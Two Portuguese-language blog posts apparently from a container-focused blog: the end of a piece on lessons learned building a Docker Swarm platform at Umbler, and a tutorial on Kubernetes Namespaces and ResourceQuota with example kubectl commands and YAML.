Existe algo em que o Swarm não atendeu? Sim, obviamente, e isso é natural, visto que não existe solução mágica para tudo. No entanto, foi possível adaptar algumas outras soluções para que fosse possível mitigar ou até mesmo sanar esses casos.

Sim, foi um processo longo, às vezes demorado, mas que rendeu bons frutos, seja de nível técnico (com o incremento de conhecimento para a equipe), ou de negócio, pois foi necessário o entendimento de todos quanto a necessidade real dos usuários, e, claro, a moldagem das ideias para atender essas necessidades. Desafios que foram sendo resolvidos durante a caminhada, é possível destacar:

  • Isolamento: Sim, containers são isolados, mas para isolar o tráfego entre os serviços, como faz? Esse foi um dos pontos onde se investiu algum tempo para encontrar a melhor resposta.
  • Inovar de forma responsável: A cada três meses é lançada uma nova versão do Docker, atualiza-se o ambiente a cada três meses? Usa-se as features novas já de cara? Este também foi motivo para algumas horas de conversa.
  • Complexidade: Não é porque foi utilizada uma tecnologia base que o ambiente não seria complexo. Quanto mais features para a plataforma, maior a complexidade para se atender essa demanda.
  • Simplificar: Como simplificar então? Como deixar tudo fácil de ser entendido, e, principalmente, replicável?
  • Deploy: De que forma o usuário vai utilizar a plataforma, como deve ser o melhor fluxo para colocar uma aplicação no ar com Docker? Às vezes a resposta certa não é a óbvia 😉
  • Cobrança: Como quantificar o gasto de cada cliente, existe na “caixa” isso? Quanto cobrar, e mais importante, vamos cobrar?

Além de desafios, ficaram também diversos aprendizados, que não custa nada compartilhar, certo?

  • Pesquisa e Prototipação são fundamentais. Mesmo que tu saiba tudo na teoria, ás vezes um comportamento só é validado na prática, tentando fazer dar erro.
  • Perseverança é muito importante. Às vezes a solução mais fácil parecer ser a melhor, o que pode não se confirmar. Por isso é preciso cuidado, pois você estará fazendo algo não para você, e nem para seu colega, e sim para dezenas, centenas, milhares de pessoas. É nelas que você deve pensar.
  • Ouvir todos os interessados é fundamental. Seja seu cliente (aquele que já paga pelo serviço), seja seu usuário (aquele que apenas usa, mas não gasta), seja seu colega, seu chefe, e principalmente a comunidade, apenas ouça, processe, e aí sim pense em algo que faça sentido para todos.
  • Outro ponto interessante é separar o “que” precisa ser feito do “como” deve ser feito. Em alguns casos (muitos por sinal), quando recebemos um problema para resolver já saímos com a solução pronta, montada em nossa cabeça. Mas será que o problema é realmente o apresentado? Será que essa solução se encaixa realmente na resolução? Lembre-se: O que eu preciso fazer define como eu vou fazer, e não o contrário.
  • Admita, você não terá todas as respostas em uma única solução, isso é improvável. Mas você precisará estar aberto a isso, e, principalmente, você precisará saber lidar com isso.
  • Última, mas não menos importante dica: Entenda exatamente o que você está fazendo. Não apenas aceite e saia executando. Entenda! Isso fará o seu trabalho ter mais valor e você terá outra visão daquilo que está criando.

Esperamos que isso ajude vocês durante suas próprias jornadas. Para nós foi uma experiência bem divertida, além de enriquecedora, e é uma honra compartilhar com vocês, quer conhecer mais sobre o NodeJs na Umbler? Então acessa este link, tem tudo que você precisa saber 😉

Como sempre, se ficou com dúvidas ou quer entender melhor, nos avise, e nos ajude divulgando o blog \o/. Abraço!

Entusiasta Open Source, seu principal foco é ir atrás de ideias novas e torna-las realidade através de soluções simples e eficientes, o menos é mais, e o dividir é multiplicar.

Kubernetes – Namespaces

Fala galera, hoje vamos fazer mais um post referente a Kubernetes e vamos falar um pouco mais sobre Namespaces e como ele nos beneficia em nosso dia a dia. Para isso vamos entender um pouco mais o que é e como funciona o Namespace:

O Kubernetes diferente do Docker suporta com que a partir de um único cluster sejam criados diversos clusters virtuais dentro desse cluster e isso é chamado de Namespaces, possibilitando que seja possivel criar uma estrutura macro no qual futuramente possa ser dividia em vários namespaces. O Namespace foi projetado para suprir a demanda de equipes compostas pro diversos usuários e projetos nos quais cada equipe possui um ambiente diferente da outra equipe, fornecendo assim recursos dos quais facilitam muito o seu dia a dia como por exemplo a limitação de recursos que veremos mais a frente.

Para listar os namespaces atuais em um cluster de Kubernetes, basta executar

kubectl get namespaces

Por padrão já existem dois namespaces criados no Kubernetes são eles:

default: Onde todos os objetos que não possuem Namespace especificado são criados.

kube-system: Todos os objetos que o Kubernetes cria para gerenciar o cluster estão nesse Namespace.

Para criar um namespace você precisa criar um arquivo .yml como o abaixo:

apiVersion: v1
kind: Namespace
metadata:
  name: nomenamespace

kubectl -f arquivo.yml

Ou você também pode executar comando kubectl create namespace mundodocker

Quando o Kubernetes criar um serviço ele vai criar junto uma entrada DNS dentro do seu cluster e essa entrada DNS possui a seguinte nomeclatura: service-name.namespace-name.svc.cluster.local no qual pode ser utilizado pela sua aplicação para conectar em seu serviço, geralmente os Namespaces criados possuem nomeclaturas como: Produção, Homologação, Teste….

Para realizar a criação de um Pod dentro de um determinado Namespace é possível fazer executando:

kubectl --namespace=mundodocker run nginx --image=nginx


Limitação de recursos ou objetos.

Quando se utiliza um ambiente compartilhado, sempre existe uma preocupação com as questões de recursos, e dentro do Kubernetes existe a possibilidade de resolver isso utilizando “Resource Quota” que fornece uma limitação de recursos por Namespace, essa limitação pode ser desde limitação de Hardware (Memória,Cpu….) quanto há quantidade de objetis que podem ser criados por tipo dentro do Namespace. Quando o Kubernetes verifica se é possível criar um “Pod,Service,Replication Controller” dentro do Namespace, o Kubernetes verifica se existe alguma limitação de recursos no Namespace, caso exista o Kubernetes já notifica o usuário sobre não ser possível realizar a criação do componente desejado. Um exemplo de política de recursos que pode ser criado é o seguinte:

– Namespace Teste: Possui 20GB de memória e 20 Núcleos.
– Namespace Producao: Possui 40GB de memória e 20 Núcleos.

Porém se seu ambiente possuí um total de 50GB de memória, o Kubernetes irá alocar a memória o CPU para o componente que realizar o pedido primeiro, não tendo assim como colocar a prioridade para determinado Namespace. Além de fazer limitações de CPU e memória é possível também realizar a limitação de disco e também limitação de objetos.

Um exemplo de criação de “Resource quota” você pode ver abaixo:

apiVersion: v1
kind: ResourceQuota
metadata:
  name: limitacao-recursos
spec:
  hard:
    pods: "10"
    limits.cpu: "10"
    limits.memory: 20Gi

Após criar o seu arquivo .yaml basta você executar kubectl create -f ./limitacao-recursos.yaml --namespace=teste e você terá criado o seu Resource Quota. Caso queira verificar se tudo ocorreu da forma certa, você pode executar kubectl get quota --namespace=teste e você irá visualizar o retorno bem parecido com esse:

NAME                    AGE
limitacao-recursos       5s

Também é possível verificar de uma forma mais detalhada sobre o seu Resource Quota utilizando kubectl describe quota limitacao-recursos --namespace=teste. Isso irá mostrar de forma detalhada como está configurado a sua quota.

Pessoal, nos próximos posts sobre Kubernetes vamos demonstrar na prática como é possível colocar algumas aplicações dentro do Kubernetes e como utilizamos os componentes mostrados até aqui na prática. Por hoje é isso, fique ligado em nossos próximos posts, um grande abraçõ e até a próxima.

 

 

 

 

 

 

Trabalha em uma Startup com foco em Plataforma como Serviço (PaaS), é especialista em Cloud Computing e Conteinerização, desenvolve todo dia uma nova maneira de resolver problemas e criar coisas novas.

Aguarde...

Inscreva-se em nossa newsletter

E fique por dentro das novidades.